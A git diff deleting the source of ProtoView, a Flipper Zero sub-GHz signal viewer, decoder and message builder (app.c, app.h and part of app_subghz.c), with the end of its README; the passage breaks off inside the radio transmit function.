capture TPMS data with rtl433 and save to a file, to later play the IQ files and speedup the development. -* As a sourve of documentation for protocols. -* As an awesome way to visualize and understand protocols, via [these great web tools](https://triq.org/). -* To have tons of fun with RTLSDR in general, now and in the past. - -The application icon was designed by Stefano Liuzzo. diff --git a/applications/external/protoview/app.c b/applications/external/protoview/app.c deleted file mode 100644 index 868ec8f16..000000000 --- a/applications/external/protoview/app.c +++ /dev/null @@ -1,400 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" - -RawSamplesBuffer *RawSamples, *DetectedSamples; -extern const SubGhzProtocolRegistry protoview_protocol_registry; - -/* Draw some text with a border. If the outside color is black and the inside - * color is white, it just writes the border of the text, but the function can - * also be used to write a bold variation of the font setting both the - * colors to black, or alternatively to write a black text with a white - * border so that it is visible if there are black stuff on the background. */ -/* The callback actually just passes the control to the actual active - * view callback, after setting up basic stuff like cleaning the screen - * and setting color to black. */ -static void render_callback(Canvas* const canvas, void* ctx) { - ProtoViewApp* app = ctx; - furi_mutex_acquire(app->view_updating_mutex, FuriWaitForever); - - /* Clear screen. */ - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 0, 0, 127, 63); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - - /* Call who is in charge right now. */ - switch(app->current_view) { - case ViewRawPulses: - render_view_raw_pulses(canvas, app); - break; - case ViewInfo: - render_view_info(canvas, app); - break; - case ViewFrequencySettings: - case ViewModulationSettings: - render_view_settings(canvas, app); - break; - case ViewDirectSampling: - render_view_direct_sampling(canvas, app); - break; - case ViewBuildMessage: - render_view_build_message(canvas, app); - break; - default: - furi_crash(TAG "Invalid view selected"); - break; - } - - /* Draw the alert box if set. */ - ui_draw_alert_if_needed(canvas, app); - furi_mutex_release(app->view_updating_mutex); -} - -/* Here all we do is putting the events into the queue that will be handled - * in the while() loop of the app entry point function. */ -static void input_callback(InputEvent* input_event, void* ctx) { - ProtoViewApp* app = ctx; - furi_message_queue_put(app->event_queue, input_event, FuriWaitForever); -} - -/* Called to switch view (when left/right is pressed). Handles - * changing the current view ID and calling the enter/exit view - * callbacks if needed. - * - * The 'switchto' parameter can be the identifier of a view, or the - * special views ViewGoNext and ViewGoPrev in order to move to - * the logical next/prev view. */ -static void app_switch_view(ProtoViewApp* app, ProtoViewCurrentView switchto) { - furi_mutex_acquire(app->view_updating_mutex, FuriWaitForever); - - /* Switch to the specified view. */ - ProtoViewCurrentView old = app->current_view; - if(switchto == ViewGoNext) { - app->current_view++; - if(app->current_view == ViewLast) app->current_view = 0; - } else if(switchto == ViewGoPrev) { - if(app->current_view == 0) - app->current_view = ViewLast - 1; - else - app->current_view--; - } else { - app->current_view = switchto; - } - ProtoViewCurrentView new = app->current_view; - - /* Call the exit view callbacks. */ - if(old == ViewDirectSampling) view_exit_direct_sampling(app); - if(old == ViewBuildMessage) view_exit_build_message(app); - if(old == ViewInfo) view_exit_info(app); - /* The frequency/modulation settings are actually a single view: - * as long as the user stays between the two modes of this view we - * don't need to call the exit-view callback. */ - if((old == ViewFrequencySettings && new != ViewModulationSettings) || - (old == ViewModulationSettings && new != ViewFrequencySettings)) - view_exit_settings(app); - - /* Reset the view private data each time, before calling the enter - * callbacks that may want to setup some state. */ - memset(app->view_privdata, 0, PROTOVIEW_VIEW_PRIVDATA_LEN); - - /* Call the enter view callbacks after all the exit callback - * of the old view was already executed. */ - if(new == ViewDirectSampling) view_enter_direct_sampling(app); - if(new == ViewBuildMessage) view_enter_build_message(app); - - /* Set the current subview of the view we just left to zero. This is - * the main subview of the old view. When we re-enter the view we are - * lefting, we want to see the main thing again. */ - app->current_subview[old] = 0; - - /* If there is an alert on screen, dismiss it: if the user is - * switching view she already read it. */ - ui_dismiss_alert(app); - furi_mutex_release(app->view_updating_mutex); -} - -/* Allocate the application state and initialize a number of stuff. - * This is called in the entry point to create the application state. */ -ProtoViewApp* protoview_app_alloc() { - furi_hal_power_suppress_charge_enter(); - - ProtoViewApp* app = malloc(sizeof(ProtoViewApp)); - - // Init shared data structures - RawSamples = raw_samples_alloc(); - DetectedSamples = raw_samples_alloc(); - - //init setting - app->setting = subghz_setting_alloc(); - subghz_setting_load(app->setting, EXT_PATH("subghz/assets/setting_user")); - - // GUI - app->gui = furi_record_open(RECORD_GUI); - app->notification = furi_record_open(RECORD_NOTIFICATION); - app->view_port = view_port_alloc(); - view_port_draw_callback_set(app->view_port, render_callback, app); - view_port_input_callback_set(app->view_port, input_callback, app); - gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen); - app->event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - app->view_dispatcher = NULL; - app->text_input = NULL; - app->show_text_input = false; - app->alert_dismiss_time = 0; - app->current_view = ViewRawPulses; - app->view_updating_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - for(int j = 0; j < ViewLast; j++) app->current_subview[j] = 0; - app->direct_sampling_enabled = false; - app->view_privdata = malloc(PROTOVIEW_VIEW_PRIVDATA_LEN); - memset(app->view_privdata, 0, PROTOVIEW_VIEW_PRIVDATA_LEN); - - // Signal found and visualization defaults - app->signal_bestlen = 0; - app->signal_last_scan_idx = 0; - app->signal_decoded = false; - app->us_scale = PROTOVIEW_RAW_VIEW_DEFAULT_SCALE; - app->signal_offset = 0; - app->msg_info = NULL; - - // Init Worker & Protocol - app->txrx = malloc(sizeof(ProtoViewTxRx)); - - /* Setup rx state. */ - app->txrx->freq_mod_changed = false; - app->txrx->debug_timer_sampling = false; - app->txrx->last_g0_change_time = DWT->CYCCNT; - app->txrx->last_g0_value = false; - - app->frequency = subghz_setting_get_default_frequency(app->setting); - app->modulation = 0; /* Defaults to ProtoViewModulations[0]. */ - - // Init & set radio_device - subghz_devices_init(); - app->radio_device = - radio_device_loader_set(app->radio_device, SubGhzRadioDeviceTypeExternalCC1101); - - subghz_devices_reset(app->radio_device); - subghz_devices_idle(app->radio_device); - - app->running = 1; - - return app; -} - -/* Free what the application allocated. It is not clear to me if the - * Flipper OS, once the application exits, will be able to reclaim space - * even if we forget to free something here. */ -void protoview_app_free(ProtoViewApp* app) { - furi_assert(app); - - subghz_devices_sleep(app->radio_device); - radio_device_loader_end(app->radio_device); - - subghz_devices_deinit(); - - // View related. - view_port_enabled_set(app->view_port, false); - gui_remove_view_port(app->gui, app->view_port); - view_port_free(app->view_port); - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - furi_message_queue_free(app->event_queue); - furi_mutex_free(app->view_updating_mutex); - app->gui = NULL; - - // Frequency setting. - subghz_setting_free(app->setting); - - // Worker stuff. - free(app->txrx); - - // Raw samples buffers. - raw_samples_free(RawSamples); - raw_samples_free(DetectedSamples); - furi_hal_power_suppress_charge_exit(); - - free(app); -} - -/* Called periodically. Do signal processing here. Data we process here - * will be later displayed by the render callback. The side effect of this - * function is to scan for signals and set DetectedSamples. */ -static void timer_callback(void* ctx) { - ProtoViewApp* app = ctx; - uint32_t delta, lastidx = app->signal_last_scan_idx; - - /* scan_for_signal(), called by this function, deals with a - * circular buffer. To never miss anything, even if a signal spawns - * cross-boundaries, it is enough if we scan each time the buffer fills - * for 50% more compared to the last scan. Thanks to this check we - * can avoid scanning too many times to just find the same data. */ - if(lastidx < RawSamples->idx) { - delta = RawSamples->idx - lastidx; - } else { - delta = RawSamples->total - lastidx + RawSamples->idx; - } - if(delta < RawSamples->total / 2) return; - app->signal_last_scan_idx = RawSamples->idx; - scan_for_signal(app, RawSamples, ProtoViewModulations[app->modulation].duration_filter); -} - -/* This is the navigation callback we use in the view dispatcher used - * to display the "text input" widget, that is the keyboard to get text. - * The text input view is implemented to ignore the "back" short press, - * so the event is not consumed and is handled by the view dispatcher. - * However the view dispatcher implementation has the strange behavior that - * if no navigation callback is set, it will not stop when handling back. - * - * We just need a dummy callback returning false. We believe the - * implementation should be changed and if no callback is set, it should be - * the same as returning false. */ -static bool keyboard_view_dispatcher_navigation_callback(void* ctx) { - UNUSED(ctx); - return false; -} - -/* App entry point, as specified in application.fam. */ -int32_t protoview_app_entry(void* p) { - UNUSED(p); - ProtoViewApp* app = protoview_app_alloc(); - - /* Create a timer. We do data analysis in the callback. */ - FuriTimer* timer = furi_timer_alloc(timer_callback, FuriTimerTypePeriodic, app); - furi_timer_start(timer, furi_kernel_get_tick_frequency() / 8); - - /* Start listening to signals immediately. */ - radio_begin(app); - radio_rx(app); - - /* This is the main event loop: here we get the events that are pushed - * in the queue by input_callback(), and process them one after the - * other. The timeout is 100 milliseconds, so if not input is received - * before such time, we exit the queue_get() function and call - * view_port_update() in order to refresh our screen content. */ - InputEvent input; - while(app->running) { - FuriStatus qstat = furi_message_queue_get(app->event_queue, &input, 100); - if(qstat == FuriStatusOk) { - if(DEBUG_MSG) - FURI_LOG_E(TAG, "Main Loop - Input: type %d key %u", input.type, input.key); - - /* Handle navigation here. Then handle view-specific inputs - * in the view specific handling function. */ - if(input.type == InputTypeShort && input.key == InputKeyBack) { - if(app->current_view != ViewRawPulses) { - /* If this is not the main app view, go there. */ - app_switch_view(app, ViewRawPulses); - } else { - /* If we are in the main app view, warn the user - * they needs to long press to really quit. */ - ui_show_alert(app, "Long press to exit", 1000); - } - } else if(input.type == InputTypeLong && input.key == InputKeyBack) { - app->running = 0; - } else if( - input.type == InputTypeShort && input.key == InputKeyRight && - ui_get_current_subview(app) == 0) { - /* Go to the next view. */ - app_switch_view(app, ViewGoNext); - } else if( - input.type == InputTypeShort && input.key == InputKeyLeft && - ui_get_current_subview(app) == 0) { - /* Go to the previous view. */ - app_switch_view(app, ViewGoPrev); - } else { - /* This is where we pass the control to the currently - * active view input processing. */ - switch(app->current_view) { - case ViewRawPulses: - process_input_raw_pulses(app, input); - break; - case ViewInfo: - process_input_info(app, input); - break; - case ViewFrequencySettings: - case ViewModulationSettings: - process_input_settings(app, input); - break; - case ViewDirectSampling: - process_input_direct_sampling(app, input); - break; - case ViewBuildMessage: - process_input_build_message(app, input); - break; - default: - furi_crash(TAG "Invalid view selected"); - break; - } - } - } else { - /* Useful to understand if the app is still alive when it - * does not respond because of bugs. */ - if(DEBUG_MSG) { - static int c = 0; - c++; - if(!(c % 20)) FURI_LOG_E(TAG, "Loop timeout"); - } - } - if(app->show_text_input) { - /* Remove our viewport: we need to use a view dispatcher - * in order to show the standard Flipper keyboard. */ - gui_remove_view_port(app->gui, app->view_port); - - /* Allocate a view dispatcher, add a text input view to it, - * and activate it. */ - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - /* We need to set a navigation callback for the view dispatcher - * otherwise when the user presses back on the keyboard to - * abort, the dispatcher will not stop. */ - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, keyboard_view_dispatcher_navigation_callback); - app->text_input = text_input_alloc(); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_add_view( - app->view_dispatcher, 0, text_input_get_view(app->text_input)); - view_dispatcher_switch_to_view(app->view_dispatcher, 0); - - /* Setup the text input view. The different parameters are set - * in the app structure by the view that wanted to show the - * input text. The callback, buffer and buffer len must be set. */ - text_input_set_header_text(app->text_input, "Save signal filename"); - text_input_set_result_callback( - app->text_input, - app->text_input_done_callback, - app, - app->text_input_buffer, - app->text_input_buffer_len, - false); - - /* Run the dispatcher with the keyboard. */ - view_dispatcher_attach_to_gui( - app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - view_dispatcher_run(app->view_dispatcher); - - /* Undo all it: remove the view from the dispatcher, free it - * so that it removes itself from the current gui, finally - * restore our viewport. */ - view_dispatcher_remove_view(app->view_dispatcher, 0); - text_input_free(app->text_input); - view_dispatcher_free(app->view_dispatcher); - app->view_dispatcher = NULL; - gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen); - app->show_text_input = false; - } else { - view_port_update(app->view_port); - } - } - - /* App no longer running. Shut down and free. */ - if(app->txrx->txrx_state == TxRxStateRx) { - FURI_LOG_E(TAG, "Putting CC1101 to sleep before exiting."); - radio_rx_end(app); - radio_sleep(app); - } - - furi_timer_free(timer); - protoview_app_free(app); - return 0; -} diff --git a/applications/external/protoview/app.h b/applications/external/protoview/app.h deleted file mode 100644 index 5fb0adf34..000000000 --- a/applications/external/protoview/app.h +++ /dev/null @@ -1,377 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#pragma once - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "raw_samples.h" -#include "helpers/radio_device_loader.h" - -#define TAG "ProtoView" -#define PROTOVIEW_RAW_VIEW_DEFAULT_SCALE 100 // 100us is 1 pixel by default -#define BITMAP_SEEK_NOT_FOUND UINT32_MAX // Returned by function as sentinel -#define PROTOVIEW_VIEW_PRIVDATA_LEN 64 // View specific private data len - -#define DEBUG_MSG 0 - -/* Forward declarations. */ - -typedef struct ProtoViewApp ProtoViewApp; -typedef struct ProtoViewMsgInfo ProtoViewMsgInfo; -typedef struct ProtoViewFieldSet ProtoViewFieldSet; -typedef struct ProtoViewDecoder ProtoViewDecoder; - -/* ============================== enumerations ============================== */ - -/* Subghz system state */ -typedef enum { - TxRxStateIDLE, - TxRxStateRx, - TxRxStateTx, - TxRxStateSleep, -} TxRxState; - -/* Currently active view. */ -typedef enum { - ViewRawPulses, - ViewInfo, - ViewFrequencySettings, - ViewModulationSettings, - ViewBuildMessage, - ViewDirectSampling, - ViewLast, /* Just a sentinel to wrap around. */ - - /* The following are special views that are not iterated, but - * have meaning for the API. */ - ViewGoNext, - ViewGoPrev, -} ProtoViewCurrentView; - -/* ================================== RX/TX ================================= */ - -typedef struct { - const char* name; // Name to show to the user. - const char* id; // Identifier in the Flipper API/file. - FuriHalSubGhzPreset preset; // The preset ID. - uint8_t* custom; /* If not null, a set of registers for - the CC1101, specifying a custom preset.*/ - uint32_t duration_filter; /* Ignore pulses and gaps that are less - than the specified microseconds. This - depends on the data rate. */ -} ProtoViewModulation; - -extern ProtoViewModulation ProtoViewModulations[]; /* In app_subghz.c */ - -/* This is the context of our subghz worker and associated thread. - * It receives data and we get our protocol "feed" callback called - * with the level (1 or 0) and duration. */ -struct ProtoViewTxRx { - bool freq_mod_changed; /* The user changed frequency and/or modulation - from the interface. There is to restart the - radio with the right parameters. */ - TxRxState txrx_state; /* Receiving, idle or sleeping? */ - - /* Timer sampling mode state. */ - bool debug_timer_sampling; /* Read data from GDO0 in a busy loop. Only - for testing. */ - uint32_t last_g0_change_time; /* Last high->low (or reverse) switch. */ - bool last_g0_value; /* Current value (high or low): we are - checking the duration in the timer - handler. */ -}; - -typedef struct ProtoViewTxRx ProtoViewTxRx; - -/* ============================== Main app state ============================ */ - -#define ALERT_MAX_LEN 32 -struct ProtoViewApp { - /* GUI */ - Gui* gui; - NotificationApp* notification; - ViewPort* view_port; /* We just use a raw viewport and we render - everything into the low level canvas. */ - ProtoViewCurrentView current_view; /* Active left-right view ID. */ - FuriMutex* view_updating_mutex; /* The Flipper GUI calls the screen redraw - callback in a different thread. We - use this mutex to protect the redraw - from changes in app->view_privdata. */ - int current_subview[ViewLast]; /* Active up-down subview ID. */ - FuriMessageQueue* event_queue; /* Keypress events go here. */ - - /* Input text state. */ - ViewDispatcher* view_dispatcher; /* Used only when we want to show - the text_input view for a moment. - Otherwise it is set to null. */ - TextInput* text_input; - bool show_text_input; - char* text_input_buffer; - uint32_t text_input_buffer_len; - void (*text_input_done_callback)(void*); - - /* Alert state. */ - uint32_t alert_dismiss_time; /* Millisecond when the alert will be - no longer shown. Or zero if the alert - is currently not set at all. */ - char alert_text[ALERT_MAX_LEN]; /* Alert content. */ - - /* Radio related. */ - ProtoViewTxRx* txrx; /* Radio state. */ - SubGhzSetting* setting; /* A list of valid frequencies. */ - - const SubGhzDevice* radio_device; - - /* Generic app state. */ - int running; /* Once false exists the app. */ - uint32_t signal_bestlen; /* Longest coherent signal observed so far. */ - uint32_t signal_last_scan_idx; /* Index of the buffer last time we - performed the scan. */ - bool signal_decoded; /* Was the current signal decoded? */ - ProtoViewMsgInfo* msg_info; /* Decoded message info if not NULL. */ - bool direct_sampling_enabled; /* This special view needs an explicit - acknowledge to work. */ - void* view_privdata; /* This is a piece of memory of total size - PROTOVIEW_VIEW_PRIVDATA_LEN that it is - initialized to zero when we switch to - a a new view. While the view we are using - is the same, it can be used by the view to - store any kind of info inside, just casting - the pointer to a few specific-data structure. */ - - /* Raw view apps state. */ - uint32_t us_scale; /* microseconds per pixel. */ - uint32_t signal_offset; /* Long press left/right panning in raw view. */ - - /* Configuration view app state. */ - uint32_t frequency; /* Current frequency. */ - uint8_t modulation; /* Current modulation ID, array index in the - ProtoViewModulations table. */ -}; - -/* =========================== Protocols decoders =========================== */ - -/* This stucture is filled by the decoder for specific protocols with the - * informations about the message. ProtoView will display such information - * in the message info view. */ -#define PROTOVIEW_MSG_STR_LEN 32 -typedef struct ProtoViewMsgInfo { - ProtoViewDecoder* decoder; /* The decoder that decoded the message. */ - ProtoViewFieldSet* fieldset; /* Decoded fields. */ - /* Low level information of the detected signal: the following are filled - * by the protocol decoding function: */ - uint32_t start_off; /* Pulses start offset in the bitmap. */ - uint32_t pulses_count; /* Number of pulses of the full message. */ - /* The following are passed already filled to the decoder. */ - uint32_t short_pulse_dur; /* Microseconds duration of the short pulse. */ - /* The following are filled by ProtoView core after the decoder returned - * success. */ - uint8_t* bits; /* Bitmap with the signal. */ - uint32_t bits_bytes; /* Number of full bytes in the bitmap, that - is 'pulses_count/8' rounded to the next - integer. */ -} ProtoViewMsgInfo; - -/* This structures describe a set of protocol fields. It is used by decoders - * supporting message building to receive and return information about the - * protocol. */ -typedef enum { - FieldTypeStr, - FieldTypeSignedInt, - FieldTypeUnsignedInt, - FieldTypeBinary, - FieldTypeHex, - FieldTypeBytes, - FieldTypeFloat, -} ProtoViewFieldType; - -typedef struct { - ProtoViewFieldType type; - uint32_t len; // Depends on type: - // Bits for integers (signed,unsigned,binary,hex). - // Number of characters for strings. - // Number of nibbles for bytes (1 for each 4 bits). - // Number of digits after dot for floats. - char* name; // Field name. - union { - char* str; // String type. - int64_t value; // Signed integer type. - uint64_t uvalue; // Unsigned integer type. - uint8_t* bytes; // Raw bytes type. - float fvalue; // Float type. - }; -} ProtoViewField; - -typedef struct ProtoViewFieldSet { - ProtoViewField** fields; - uint32_t numfields; -} ProtoViewFieldSet; - -typedef struct ProtoViewDecoder { - const char* name; /* Protocol name. */ - /* The decode function takes a buffer that is actually a bitmap, with - * high and low levels represented as 0 and 1. The number of high/low - * pulses represented by the bitmap is passed as the 'numbits' argument, - * while 'numbytes' represents the total size of the bitmap pointed by - * 'bits'. So 'numbytes' is mainly useful to pass as argument to other - * functions that perform bit extraction with bound checking, such as - * bitmap_get() and so forth. */ - bool (*decode)(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info); - /* This method is used by the decoder to return the fields it needs - * in order to build a new message. This way the message builder view - * can ask the user to fill the right set of fields of the specified - * type. */ - void (*get_fields)(ProtoViewFieldSet* fields); - /* This method takes the fields supported by the decoder, and - * renders a message in 'samples'. */ - void (*build_message)(RawSamplesBuffer* samples, ProtoViewFieldSet* fields); -} ProtoViewDecoder; - -extern RawSamplesBuffer *RawSamples, *DetectedSamples; - -/* app_subghz.c */ -void radio_begin(ProtoViewApp* app); -uint32_t radio_rx(ProtoViewApp* app); -void radio_idle(ProtoViewApp* app); -void radio_rx_end(ProtoViewApp* app); -void radio_sleep(ProtoViewApp* app); -void raw_sampling_worker_start(ProtoViewApp* app); -void raw_sampling_worker_stop(ProtoViewApp* app); -void radio_tx_signal(ProtoViewApp* app, FuriHalSubGhzAsyncTxCallback data_feeder, void* ctx); -void protoview_rx_callback(bool level, uint32_t duration, void* context); - -/* signal.c */ -uint32_t duration_delta(uint32_t a, uint32_t b); -void reset_current_signal(ProtoViewApp* app); -void scan_for_signal(ProtoViewApp* app, RawSamplesBuffer* source, uint32_t min_duration); -bool bitmap_get(uint8_t* b, uint32_t blen, uint32_t bitpos); -void bitmap_set(uint8_t* b, uint32_t blen, uint32_t bitpos, bool val); -void bitmap_copy( - uint8_t* d, - uint32_t dlen, - uint32_t doff, - uint8_t* s, - uint32_t slen, - uint32_t soff, - uint32_t count); -void bitmap_set_pattern(uint8_t* b, uint32_t blen, uint32_t off, const char* pat); -void bitmap_reverse_bytes_bits(uint8_t* p, uint32_t len); -bool bitmap_match_bits(uint8_t* b, uint32_t blen, uint32_t bitpos, const char* bits); -uint32_t bitmap_seek_bits( - uint8_t* b, - uint32_t blen, - uint32_t startpos, - uint32_t maxbits, - const char* bits); -bool bitmap_match_bitmap( - uint8_t* b1, - uint32_t b1len, - uint32_t b1off, - uint8_t* b2, - uint32_t b2len, - uint32_t b2off, - uint32_t cmplen); -void bitmap_to_string(char* dst, uint8_t* b, uint32_t blen, uint32_t off, uint32_t len); -uint32_t convert_from_line_code( - uint8_t* buf, - uint64_t buflen, - uint8_t* bits, - uint32_t len, - uint32_t offset, - const char* zero_pattern, - const char* one_pattern); -uint32_t convert_from_diff_manchester( - uint8_t* buf, - uint64_t buflen, - uint8_t* bits, - uint32_t len, - uint32_t off, - bool previous); -void init_msg_info(ProtoViewMsgInfo* i, ProtoViewApp* app); -void free_msg_info(ProtoViewMsgInfo* i); - -/* signal_file.c */ -bool save_signal(ProtoViewApp* app, const char* filename); - -/* view_*.c */ -void render_view_raw_pulses(Canvas* const canvas, ProtoViewApp* app); -void process_input_raw_pulses(ProtoViewApp* app, InputEvent input); -void render_view_settings(Canvas* const canvas, ProtoViewApp* app); -void process_input_settings(ProtoViewApp* app, InputEvent input); -void render_view_info(Canvas* const canvas, ProtoViewApp* app); -void process_input_info(ProtoViewApp* app, InputEvent input); -void render_view_direct_sampling(Canvas* const canvas, ProtoViewApp* app); -void process_input_direct_sampling(ProtoViewApp* app, InputEvent input); -void render_view_build_message(Canvas* const canvas, ProtoViewApp* app); -void process_input_build_message(ProtoViewApp* app, InputEvent input); -void view_enter_build_message(ProtoViewApp* app); -void view_exit_build_message(ProtoViewApp* app); -void view_enter_direct_sampling(ProtoViewApp* app); -void view_exit_direct_sampling(ProtoViewApp* app); -void view_exit_settings(ProtoViewApp* app); -void view_exit_info(ProtoViewApp* app); -void adjust_raw_view_scale(ProtoViewApp* app, uint32_t short_pulse_dur); - -/* ui.c */ -int ui_get_current_subview(ProtoViewApp* app); -void ui_show_available_subviews(Canvas* canvas, ProtoViewApp* app, int last_subview); -bool ui_process_subview_updown(ProtoViewApp* app, InputEvent input, int last_subview); -void ui_show_keyboard( - ProtoViewApp* app, - char* buffer, - uint32_t buflen, - void (*done_callback)(void*)); -void ui_dismiss_keyboard(ProtoViewApp* app); -void ui_show_alert(ProtoViewApp* app, const char* text, uint32_t ttl); -void ui_dismiss_alert(ProtoViewApp* app); -void ui_draw_alert_if_needed(Canvas* canvas, ProtoViewApp* app); -void canvas_draw_str_with_border( - Canvas* canvas, - uint8_t x, - uint8_t y, - const char* str, - Color text_color, - Color border_color); - -/* fields.c */ -void fieldset_free(ProtoViewFieldSet* fs); -ProtoViewFieldSet* fieldset_new(void); -void fieldset_add_int(ProtoViewFieldSet* fs, const char* name, int64_t val, uint8_t bits); -void fieldset_add_uint(ProtoViewFieldSet* fs, const char* name, uint64_t uval, uint8_t bits); -void fieldset_add_hex(ProtoViewFieldSet* fs, const char* name, uint64_t uval, uint8_t bits); -void fieldset_add_bin(ProtoViewFieldSet* fs, const char* name, uint64_t uval, uint8_t bits); -void fieldset_add_str(ProtoViewFieldSet* fs, const char* name, const char* s, size_t len); -void fieldset_add_bytes( - ProtoViewFieldSet* fs, - const char* name, - const uint8_t* bytes, - uint32_t count); -void fieldset_add_float( - ProtoViewFieldSet* fs, - const char* name, - float val, - uint32_t digits_after_dot); -const char* field_get_type_name(ProtoViewField* f); -int field_to_string(char* buf, size_t len, ProtoViewField* f); -bool field_set_from_string(ProtoViewField* f, char* buf, size_t len); -bool field_incr_value(ProtoViewField* f, int incr); -void fieldset_copy_matching_fields(ProtoViewFieldSet* dst, ProtoViewFieldSet* src); -void field_set_from_field(ProtoViewField* dst, ProtoViewField* src); - -/* crc.c */ -uint8_t crc8(const uint8_t* data, size_t len, uint8_t init, uint8_t poly); -uint8_t sum_bytes(const uint8_t* data, size_t len, uint8_t init); -uint8_t xor_bytes(const uint8_t* data, size_t len, uint8_t init); diff --git a/applications/external/protoview/app_subghz.c b/applications/external/protoview/app_subghz.c deleted file mode 100644 index 204dcba0d..000000000 --- a/applications/external/protoview/app_subghz.c +++ /dev/null @@ -1,206 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" -#include "custom_presets.h" - -#include -#include -#include -#include - -void raw_sampling_timer_start(ProtoViewApp* app); -void raw_sampling_timer_stop(ProtoViewApp* app); - -ProtoViewModulation ProtoViewModulations[] = { - {"OOK 650Khz", "FuriHalSubGhzPresetOok650Async", FuriHalSubGhzPresetOok650Async, NULL, 30}, - {"OOK 270Khz", "FuriHalSubGhzPresetOok270Async", FuriHalSubGhzPresetOok270Async, NULL, 30}, - {"2FSK 2.38Khz", - "FuriHalSubGhzPreset2FSKDev238Async", - FuriHalSubGhzPreset2FSKDev238Async, - NULL, - 30}, - {"2FSK 47.6Khz", - "FuriHalSubGhzPreset2FSKDev476Async", - FuriHalSubGhzPreset2FSKDev476Async, - NULL, - 30}, - {"TPMS 1 (FSK)", NULL, 0, (uint8_t*)protoview_subghz_tpms1_fsk_async_regs, 30}, - {"TPMS 2 (OOK)", NULL, 0, (uint8_t*)protoview_subghz_tpms2_ook_async_regs, 30}, - {"TPMS 3 (GFSK)", NULL, 0, (uint8_t*)protoview_subghz_tpms3_gfsk_async_regs, 30}, - {"OOK 40kBaud", NULL, 0, (uint8_t*)protoview_subghz_40k_ook_async_regs, 15}, - {"FSK 40kBaud", NULL, 0, (uint8_t*)protoview_subghz_40k_fsk_async_regs, 15}, - {NULL, NULL, 0, NULL, 0} /* End of list sentinel. */ -}; - -/* Called after the application initialization in order to setup the - * subghz system and put it into idle state. */ -void radio_begin(ProtoViewApp* app) { - furi_assert(app); - subghz_devices_reset(app->radio_device); - subghz_devices_idle(app->radio_device); - - /* The CC1101 preset can be either one of the standard presets, if - * the modulation "custom" field is NULL, or a custom preset we - * defined in custom_presets.h. */ - if(ProtoViewModulations[app->modulation].custom == NULL) { - subghz_devices_load_preset( - app->radio_device, ProtoViewModulations[app->modulation].preset, NULL); - } else { - subghz_devices_load_preset( - app->radio_device, - FuriHalSubGhzPresetCustom, - ProtoViewModulations[app->modulation].custom); - } - furi_hal_gpio_init( - subghz_devices_get_data_gpio(app->radio_device), GpioModeInput, GpioPullNo, GpioSpeedLow); - app->txrx->txrx_state = TxRxStateIDLE; -} - -/* ================================= Reception ============================== */ - -/* We avoid the subghz provided abstractions and put the data in our - * simple abstraction: the RawSamples circular buffer. */ -void protoview_rx_callback(bool level, uint32_t duration, void* context) { - UNUSED(context); - /* Add data to the circular buffer. */ - raw_samples_add(RawSamples, level, duration); - // FURI_LOG_E(TAG, "FEED: %d %d", (int)level, (int)duration); - return; -} - -/* Setup the CC1101 to start receiving using a background worker. */ -uint32_t radio_rx(ProtoViewApp* app) { - furi_assert(app); - - if(!subghz_devices_is_frequency_valid(app->radio_device, app->frequency)) { - furi_crash(TAG " Incorrect RX frequency."); - } - - if(app->txrx->txrx_state == TxRxStateRx) return app->frequency; - - subghz_devices_idle(app->radio_device); /* Put it into idle state in case it is sleeping. */ - uint32_t value = subghz_devices_set_frequency(app->radio_device, app->frequency); - FURI_LOG_E(TAG, "Switched to frequency: %lu", value); - - subghz_devices_flush_rx(app->radio_device); - subghz_devices_set_rx(app->radio_device); - - if(!app->txrx->debug_timer_sampling) { - subghz_devices_start_async_rx(app->radio_device, protoview_rx_callback, NULL); - } else { - furi_hal_gpio_init( - subghz_devices_get_data_gpio(app->radio_device), - GpioModeInput, - GpioPullNo, - GpioSpeedLow); - raw_sampling_worker_start(app); - } - app->txrx->txrx_state = TxRxStateRx; - return value; -} - -/* Stop receiving (if active) and put the radio on idle state. */ -void radio_rx_end(ProtoViewApp* app) { - furi_assert(app); - - if(app->txrx->txrx_state == TxRxStateRx) { - if(!app->txrx->debug_timer_sampling) { - subghz_devices_stop_async_rx(app->radio_device); - } else { - raw_sampling_worker_stop(app); - } - } - subghz_devices_idle(app->radio_device); - app->txrx->txrx_state = TxRxStateIDLE; -} - -/* Put radio on sleep. */ -void radio_sleep(ProtoViewApp* app) { - furi_assert(app); - if(app->txrx->txrx_state == TxRxStateRx) { - /* Stop the asynchronous receiving system before putting the - * chip into sleep. */ - radio_rx_end(app); - } - subghz_devices_sleep(app->radio_device); - app->txrx->txrx_state = TxRxStateSleep; -} - -/* =============================== Transmission ============================= */ - -/* This function suspends the current RX state, switches to TX mode, - * transmits the signal provided by the callback data_feeder, and later - * restores the RX state if there was one. */ -void radio_tx_signal(ProtoViewApp* app, FuriHalSubGhzAsyncTxCallback data_feeder, void* ctx) { - TxRxState oldstate = app->txrx->txrx_state; - - if(oldstate == TxRxStateRx) radio_rx_end(app); - radio_begin(app); - - subghz_devices_idle(app->radio_device); - uint32_t value = subghz_devices_set_frequency(app->radio_device, app->frequency); - FURI_LOG_E(TAG, "Switched to frequency: %lu", value); - - subghz_devices_start_async_tx(app->radio_device, data_feeder, ctx); - while(!subghz_devices_is_async_complete_tx(app->radio_device)) furi_delay_ms(10); - subghz_devices_stop_async_tx(app->radio_device); - subghz_devices_idle(app->radio_device); - 